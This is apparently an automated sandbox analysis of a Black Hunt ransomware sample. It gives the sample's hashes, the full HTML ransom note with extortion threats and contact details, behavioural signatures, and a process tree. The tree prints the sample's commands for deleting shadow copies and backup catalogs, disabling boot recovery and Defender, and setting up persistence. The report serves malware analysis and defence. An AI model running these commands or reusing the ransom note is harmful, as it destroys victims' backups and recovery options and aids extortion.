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Analysis

  • max time kernel
    101s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/01/2024, 22:25

General

  • Target

    0732a28ff29c8b0bc2a6a96f81c7d09878e5e74005f9efd0525dfc5b42991435.exe

  • Size

    707KB

  • MD5

    fe59bd9cb22d1fa7eecd7c58db545596

  • SHA1

    d0e0b9f25ceef983d4af79936f3f1f67ec772939

  • SHA256

    0732a28ff29c8b0bc2a6a96f81c7d09878e5e74005f9efd0525dfc5b42991435

  • SHA512

    aafa930aeaffd04bcf473069049617657fb6cd0ce4093db66efc805d50cea8bd42d1d1dceb6ab323d349e772208b80120b9449c0f500d87330b764e6d7ef18c8

  • SSDEEP

    6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1g86vnh:6uaTmkZJ+naie5OTamgEoKxLWLUh

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note
<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> EqmJj8SzFtdsETtD </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>
URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

  • Deletes NTFS Change Journal 2 TTPs 2 IoCs

    The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs 5 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
  • Renames multiple (3319) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Deletes backup catalog 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Disables Task Manager via registry modification
  • Disables use of System Restore points 1 TTPs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 27 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Interacts with shadow copies 2 TTPs 6 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 9 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\0732a28ff29c8b0bc2a6a96f81c7d09878e5e74005f9efd0525dfc5b42991435.exe
    "C:\Users\Admin\AppData\Local\Temp\0732a28ff29c8b0bc2a6a96f81c7d09878e5e74005f9efd0525dfc5b42991435.exe"
    1⤵
    • UAC bypass
    • Checks computer location settings
    • Checks whether UAC is enabled
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:4408
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1892
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
        3⤵
        • Modifies registry class
        PID:4908
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4724
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
        3⤵
        • Modifies registry class
        PID:3044
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
      2⤵
        PID:1128
        • C:\Windows\system32\reg.exe
          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
          3⤵
            PID:4808
            • C:\Windows\system32\reg.exe
              reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
              4⤵
                PID:4636
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
            2⤵
              PID:3484
              • C:\Windows\system32\reg.exe
                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
                3⤵
                  PID:1424
                • C:\Windows\system32\reg.exe
                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                  3⤵
                    PID:2308
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3500
                  • C:\Windows\system32\reg.exe
                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                    3⤵
                      PID:4956
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4892
                    • C:\Windows\system32\reg.exe
                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                      3⤵
                        PID:4668
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                      2⤵
                        PID:2268
                        • C:\Windows\system32\reg.exe
                          reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                          3⤵
                            PID:2008
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                          2⤵
                            PID:5060
                            • C:\Windows\system32\reg.exe
                              reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                              3⤵
                                PID:2960
                                • C:\Windows\system32\reg.exe
                                  reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
                                  4⤵
                                  • Adds Run key to start application
                                  PID:4964
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\0732a28ff29c8b0bc2a6a96f81c7d09878e5e74005f9efd0525dfc5b42991435.exe" /F
                              2⤵
                                PID:1660
                                • C:\Windows\system32\schtasks.exe
                                  SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\0732a28ff29c8b0bc2a6a96f81c7d09878e5e74005f9efd0525dfc5b42991435.exe" /F
                                  3⤵
                                  • Creates scheduled task(s)
                                  PID:964
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                2⤵
                                  PID:1880
                                  • C:\Windows\system32\vssadmin.exe
                                    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                    3⤵
                                    • Enumerates connected drives
                                    • Interacts with shadow copies
                                    PID:1612
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                  2⤵
                                    PID:1780
                                    • C:\Windows\system32\vssadmin.exe
                                      vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                      3⤵
                                      • Enumerates connected drives
                                      • Interacts with shadow copies
                                      PID:2312
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                                    2⤵
                                      PID:4604
                                      • C:\Windows\system32\vssadmin.exe
                                        vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                                        3⤵
                                        • Interacts with shadow copies
                                        PID:4332
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                      2⤵
                                        PID:4704
                                        • C:\Windows\system32\bcdedit.exe
                                          bcdedit /set {default} recoveryenabled No
                                          3⤵
                                          • Modifies boot configuration data using bcdedit
                                          PID:9172
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                        2⤵
                                          PID:796
                                          • C:\Windows\system32\fsutil.exe
                                            fsutil.exe usn deletejournal /D C:
                                            3⤵
                                            • Deletes NTFS Change Journal
                                            PID:5852
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                          2⤵
                                            PID:4560
                                            • C:\Windows\system32\schtasks.exe
                                              schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                              3⤵
                                                PID:5916
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                              2⤵
                                                PID:3268
                                                • C:\Windows\system32\wbadmin.exe
                                                  wbadmin.exe delete catalog -quiet
                                                  3⤵
                                                  • Deletes backup catalog
                                                  PID:10524
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                2⤵
                                                  PID:2664
                                                • C:\Windows\System32\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                                  2⤵
                                                    PID:1048
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
